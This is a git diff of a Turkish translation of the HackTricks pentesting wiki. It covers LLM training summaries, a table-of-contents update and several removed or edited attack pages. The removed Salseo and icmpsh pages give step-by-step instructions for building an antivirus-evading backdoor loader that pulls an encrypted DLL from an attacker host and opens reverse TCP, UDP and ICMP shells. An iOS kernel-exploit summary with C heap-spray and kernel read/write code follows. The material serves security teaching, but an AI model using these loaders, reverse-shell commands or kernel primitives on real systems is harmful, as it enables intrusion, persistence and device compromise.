> Ayrıca, token gömme sırasında **gömme katmanlarının başka bir katmanı oluşturulur** ki bu, **eğitim cümlesindeki kelimenin mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı konumlarda bir kelimenin farklı bir temsili (anlamı) olacaktır.
> Ayrıca, token gömme sırasında **gömme katmanının başka bir katmanı oluşturulur** ki bu da (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu temsil eder.** Bu şekilde, cümledeki farklı konumlarda bir kelimenin farklı bir temsili (anlamı) olacaktır.
{{#ref}}
3.-token-embeddings.md
@ -43,8 +45,8 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs
## 4. Dikkat Mekanizmaları
> [!TIP]
> Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **sözlükteki bir kelimenin, LLM'yi eğitmek için kullanılan mevcut cümledeki komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacaktır.\
> Bunun için çok sayıda katman kullanılacak, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacaktır.
> Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak.** Bunlar, **sözlükteki bir kelimenin, LLM'yi eğitmek için kullanılan mevcut cümledeki komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacaktır.**\
> Bunun için çok sayıda katman kullanılmaktadır, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacaktır.
{{#ref}}
4.-attention-mechanisms.md
@ -53,9 +55,9 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs
## 5. LLM Mimarisi
> [!TIP]
> Bu beşinci aşamanın amacı çok basit: **Tam LLM'nin mimarisini geliştirmek.** Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni kimliklere dönüştürmek ve tersine çevirmek için tüm işlevleri oluşturun.
> Bu beşinci aşamanın amacı çok basit: **Tam LLM'nin mimarisini geliştirmek.** Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni kimliklere ve geriye dönüştürmek için tüm işlevleri oluşturun.
>
> Bu mimari, hem eğitim hem de eğitimden sonra metin tahmini için kullanılacaktır.
> Bu mimari, hem eğitim hem de eğitimden sonra metin tahmin etmek için kullanılacaktır.
{{#ref}}
5.-llm-architecture.md
@ -64,7 +66,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs
## 6. Ön Eğitim ve Modellerin Yüklenmesi
> [!TIP]
> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek.** Bunun için önceki LLM mimarisi, tanımlı kayıp fonksiyonları ve optimizasyon kullanarak veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır.
> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek.** Bunun için önceki LLM mimarisi, tanımlanan kayıp fonksiyonları ve optimizasyon kullanarak veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır.
{{#ref}}
6.-pre-training-and-loading-models.md
@ -73,7 +75,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs
## 7.0. İnce Ayar için LoRA İyileştirmeleri
> [!TIP]
> **LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar yapmak için gereken hesaplamayı** büyük ölçüde azaltır.
> **LoRA'nın kullanımı, zaten eğitilmiş modelleri ince ayar yapmak için gereken hesaplamayı büyük ölçüde azaltır.**
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
@ -82,7 +84,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs
## 7.1. Sınıflandırma için İnce Ayar
> [!TIP]
> Bu bölümün amacı, **yeni metin oluşturmak yerine, LLM'nin verilen metnin her bir verilen kategoriye ait olma olasılıklarını seçmesini** sağlamak için zaten önceden eğitilmiş bir modeli nasıl ince ayar yapacağınızı göstermektir (örneğin, bir metnin spam olup olmadığını belirlemek).
> Bu bölümün amacı, yeni metin oluşturmak yerine LLM'nin **verilen metnin her bir verilen kategoriye sınıflandırılma olasılıklarını** seçmesini sağlamak için zaten önceden eğitilmiş bir modeli nasıl ince ayar yapacağınızı göstermektir (örneğin, bir metnin spam olup olmadığını belirlemek).
{{#ref}}
7.1.-fine-tuning-for-classification.md
@ -91,8 +93,10 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs
## 7.2. Talimatları Takip Etmek için İnce Ayar
> [!TIP]
> Bu bölümün amacı, **metin oluşturmak yerine talimatları takip etmek için zaten önceden eğitilmiş bir modeli nasıl ince ayar yapacağınızı** göstermektir; örneğin, bir sohbet botu olarak görevlere yanıt vermek.
> Bu bölümün amacı, yalnızca metin oluşturmak yerine, örneğin, bir sohbet botu olarak görevlere yanıt vermek için **zaten önceden eğitilmiş bir modeli talimatları takip edecek şekilde nasıl ince ayar yapacağınızı** göstermektir.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}
{{#include /banners/hacktricks-training.md}}

View File

@ -149,6 +149,7 @@
- [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
- [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
- [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
- [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
@ -217,8 +218,10 @@
# 🪟 Windows Hardening
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
@ -248,6 +251,7 @@
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
@ -330,7 +334,7 @@
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
- [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
@ -388,6 +392,7 @@
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
- [Django](network-services-pentesting/pentesting-web/django.md)
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
@ -398,7 +403,6 @@
- [Flask](network-services-pentesting/pentesting-web/flask.md)
- [Git](network-services-pentesting/pentesting-web/git.md)
- [Golang](network-services-pentesting/pentesting-web/golang.md)
- [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
@ -430,7 +434,7 @@
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
- [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
@ -438,6 +442,7 @@
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
- [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
@ -582,6 +587,7 @@
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
- [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
- [Email Injections](pentesting-web/email-injections.md)
@ -609,6 +615,7 @@
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
- [IDOR](pentesting-web/idor.md)
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
- [LDAP Injection](pentesting-web/ldap-injection.md)
- [Login Bypass](pentesting-web/login-bypass/README.md)
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
@ -641,6 +648,7 @@
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
- [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@ -664,6 +672,7 @@
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
- [XPATH injection](pentesting-web/xpath-injection.md)
- [XS Search](pentesting-web/xs-search.md)
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
@ -845,13 +854,14 @@
# ✍️ TODO
- [Other Big References](todo/references.md)
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Pentesting DNS](todo/pentesting-dns.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)
- [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
- [UART](todo/hardware-hacking/uart.md)
- [Radio](todo/hardware-hacking/radio.md)
- [JTAG](todo/hardware-hacking/jtag.md)
@ -878,8 +888,6 @@
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
- [Android Forensics](todo/android-forensics.md)
- [TR-069](todo/tr-069.md)
- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
- [Online Platforms with API](todo/online-platforms-with-api.md)
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
@ -887,3 +895,11 @@
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

View File

@ -1,27 +0,0 @@
# Android Adli Tıp
{{#include ./banners/hacktricks-training.md}}
## Kilitli Cihaz
Bir Android cihazdan veri çıkarmaya başlamak için cihazın kilidinin açılması gerekir. Eğer kilitliyse şunları yapabilirsiniz:
- Cihazın USB üzerinden hata ayıklamanın etkin olup olmadığını kontrol edin.
- Olası bir [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) kontrol edin.
- [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) ile deneyin.
## Veri Edinimi
Bir [android yedeği oluşturun](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) ve bunu [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/) kullanarak çıkarın: `java -jar abe.jar unpack file.backup file.tar`
### Eğer root erişimi veya JTAG arayüzüne fiziksel bağlantı varsa
- `cat /proc/partitions` (flash belleğin yolunu arayın, genellikle ilk giriş _mmcblk0_ olup tüm flash belleği temsil eder).
- `df /data` (sistemin blok boyutunu keşfedin).
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (blok boyutundan elde edilen bilgilerle çalıştırın).
### Bellek
RAM bilgilerini çıkarmak için Linux Memory Extractor (LiME) kullanın. Bu, adb üzerinden yüklenmesi gereken bir çekirdek uzantısıdır.
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,25 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Arka kapıyı indirin: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# İstemci tarafı
Scripti çalıştırın: **run.sh**
**Eğer bir hata alırsanız, satırları değiştirmeyi deneyin:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**İçin:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Kurban Tarafı**
**icmpsh.exe** dosyasını kurbana yükleyin ve çalıştırın:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,158 +0,0 @@
# Salseo
{{#include ../banners/hacktricks-training.md}}
## Binaries' Derlenmesi
Github'dan kaynak kodunu indirin ve **EvilSalsa** ile **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir.
Bu projeleri, kullanacağınız Windows kutusunun mimarisi için derleyin (Eğer Windows x64 destekliyorsa, o mimari için derleyin).
**Mimariyi seçebilirsiniz** Visual Studio'da **sol "Build" Sekmesi** içindeki **"Platform Target"** kısmında.
(**Bu seçenekleri bulamazsanız **"Project Tab"**'ına tıklayın ve ardından **"\<Project Name> Properties"**'e tıklayın)
![](<../images/image (132).png>)
Sonra, her iki projeyi de derleyin (Build -> Build Solution) (Kayıtlar içinde çalıştırılabilir dosyanın yolu görünecektir):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Arka Kapıyı Hazırlama
Öncelikle, **EvilSalsa.dll**'yı kodlamanız gerekecek. Bunu yapmak için, **encrypterassembly.py** python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Tamam, şimdi Salseo ile ilgili her şeyi gerçekleştirmek için her şeye sahipsin: **encoded EvilDalsa.dll** ve **SalseoLoader'ın binary'si.**
**SalseoLoader.exe binary'sini makineye yükle. Hiçbir antivirüs tarafından tespit edilmemelidir...**
## **Arka kapıyı çalıştır**
### **TCP ters shell almak (HTTP üzerinden encoded dll indirme)**
nc'yi ters shell dinleyicisi olarak başlatmayı ve encoded evilsalsa'yı sunmak için bir HTTP sunucusu kurmayı unutma.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **UDP ters shell almak (SMB üzerinden kodlanmış dll indirme)**
Ters shell dinleyicisi olarak bir nc başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu kurmayı unutmayın.
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **ICMP ters shell almak (kurbanın içinde kodlanmış dll zaten mevcut)**
**Bu sefer ters shell almak için istemcide özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP Yanıtlarını Devre Dışı Bırak:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### İstemciyi çalıştır:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Kurbanın içinde, salseo şeyini çalıştıralım:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## SalseoLoader'ı ana fonksiyonu dışa aktaran DLL olarak derleme
SalseoLoader projesini Visual Studio ile açın.
### Ana fonksiyondan önce ekleyin: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Bu proje için DllExport'ı yükleyin
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'ye basın (ve açılan pencereyi kabul edin)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Proje klasörünüzde **DllExport.bat** ve **DllExport_Configure.bat** dosyaları belirdi.
### **U**ninstall DllExport
**Kaldır**'a basın (evet, garip ama bana güvenin, bu gerekli)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Visual Studio'dan çıkın ve DllExport_configure'ı çalıştırın**
Sadece **çıkın** Visual Studio'dan
Sonra, **SalseoLoader klasörünüze** gidin ve **DllExport_Configure.bat**'ı çalıştırın.
**x64**'ü seçin (eğer x64 bir kutu içinde kullanacaksanız, benim durumum buydu), **System.Runtime.InteropServices**'i seçin ( **DllExport için Ad Alanı** içinde) ve **Uygula**'ya basın.
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Projeyi tekrar Visual Studio ile açın**
**\[DllExport]** artık hata olarak işaretlenmemelidir.
![](<../images/image (8) (1).png>)
### Çözümü derleyin
**Çıktı Türü = Sınıf Kütüphanesi**'ni seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıktı türü = Sınıf Kütüphanesi)
![](<../images/image (10) (1).png>)
**x64** **platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64)
![](<../images/image (9) (1) (1).png>)
Çözümü **derlemek** için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir)
### Üretilen Dll'yi test edin
Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın.
Çalıştırın:
```
rundll32.exe SalseoLoader.dll,main
```
Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!!
## DLL kullanarak bir shell alın
Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyicisi** ayarlamayı unutmayın.
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1 +1,3 @@
# Keyfi Yazma 2 Çalıştır
# Arbitrary Write 2 Exec
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# iOS Exploiting
{{#include /banners/hacktricks-training.md}}
## Fiziksel kullanımdan sonra serbest bırakma
Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresinde bulunabilir.
@ -16,10 +18,10 @@ Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:
* Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder.
* **0x1000000000 bayt** (veya **256 GB**) sanal belleği kapsar.
2. **L2 Sayfa Tablosu (Seviye 2)**:
* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini, özellikle **0x2000000 bayt** (32 MB) temsil eder.
* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini temsil eder, özellikle **0x2000000 bayt** (32 MB).
* Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir.
3. **L3 Sayfa Tablosu (Seviye 3)**:
* Bu en ince seviyedir; her giriş tek bir **4 KB** bellek sayfasını haritalar.
* Bu en ince seviyedir, burada her giriş tek bir **4 KB** bellek sayfasını haritalar.
* Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir.
#### Sanal Belleği Fiziksel Belleğe Haritalama
@ -27,7 +29,7 @@ Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:
* **Doğrudan Haritalama (Blok Haritalama)**:
* Bir sayfa tablosundaki bazı girişler, bir dizi sanal adresi kesintisiz bir fiziksel adres aralığına doğrudan **haritalar** (kısa yol gibi).
* **Çocuk Sayfa Tablosuna İşaretçi**:
* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir **çocuk sayfa tablosuna** işaret edebilir.
* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki **çocuk sayfa tablosuna** işaret edebilir (örneğin, L2).
#### Örnek: Sanal Bir Adresi Haritalama
@ -57,7 +59,7 @@ Bir **fiziksel kullanımdan sonra serbest bırakma** (UAF) durumu, şu durumlard
1. Bir süreç bazı belleği **okunabilir ve yazılabilir** olarak **ayırır**.
2. **Sayfa tabloları**, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir.
3. Süreç belleği **serbest bırakır** (boşaltır).
3. Süreç bu belleği **serbest bırakır** (boşaltır).
4. Ancak, bir **hata** nedeniyle, kernel **haritalamayı** sayfa tablosundan kaldırmayı unutur, oysa ilgili fiziksel belleği serbest olarak işaretler.
5. Kernel, bu "serbest bırakılmış" fiziksel belleği, **kernel verileri** gibi diğer amaçlar için **yeniden tahsis edebilir**.
6. Haritalama kaldırılmadığı için, süreç bu fiziksel belleğe hala **okuma ve yazma** yapabilir.
@ -68,12 +70,12 @@ Bu, sürecin **kernel belleği** sayfalarına erişebilmesi anlamına gelir; bu
Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis edileceğini kontrol edemediğinden, **heap spray** adı verilen bir teknik kullanır:
1. Saldırgan, kernel belleğinde **birçok IOSurface nesnesi** oluşturur.
2. Her IOSurface nesnesi, kolayca tanımlanabilmesi için bir alanında **sihirli bir değer** içerir.
1. Saldırgan, kernel belleğinde çok sayıda **IOSurface nesnesi** oluşturur.
2. Her IOSurface nesnesi, kolayca tanımlanabilmesi için bir alanında bir **sihirli değer** içerir.
3. Serbest bırakılmış sayfaları **tarar** ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder.
4. Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler.
Bu konuda daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresinde bulunmaktadır.
Bununla ilgili daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresindedir.
### Adım Adım Heap Spray Süreci
@ -83,7 +85,7 @@ Bu konuda daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](
* Kernel belleğindeki herhangi bir 32 bit değeri **okuma** yeteneği sağlar.
* 64 bit değerleri **yazma** yeteneği sağlar ve bu da istikrarlı bir **kernel okuma/yazma ilkesine** ulaşmalarını sağlar.
Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun ve daha sonra aramak için:
Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun, daha sonra aramak için:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
@ -138,7 +140,7 @@ free(surfaceIDs);
return 0;
}
```
### IOSurface ile Kernel Okuma/Yazma Elde Etme
### Kernel Okuma/Yazma Elde Etme ile IOSurface
Kernel belleğinde bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş), bunu **rastgele kernel okuma ve yazma işlemleri** için kullanabiliriz.
@ -153,9 +155,9 @@ Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adre
#### 32-Bit Kernel Okuma
Okuma gerçekleştirmek için:
Bir okuma gerçekleştirmek için:
1. **kullanım sayısı işaretçisini** hedef adrese 0x14 baytlık bir offset çıkararak işaret edecek şekilde geçersiz kılın.
1. **kullanım sayısı işaretçisini** hedef adrese 0x14 bayt ofset çıkararak işaret edecek şekilde geçersiz kılın.
2. O adresteki değeri okumak için `get_use_count` yöntemini kullanın.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -174,11 +176,11 @@ iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Yazma
#### 64-Bit Kernel Write
Yazma işlemi gerçekleştirmek için:
1. **İndeksli zaman damgası işaretçisini** hedef adrese yazın.
1. Hedef adrese **indekslenmiş zaman damgası işaretçisini** geçersiz kılın.
2. 64-bit bir değer yazmak için `set_indexed_timestamp` yöntemini kullanın.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
@ -201,3 +203,5 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
4. **Use-After-Free'i Kötüye Kullanma**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel okuma/yazma** işlemlerini etkinleştirin.
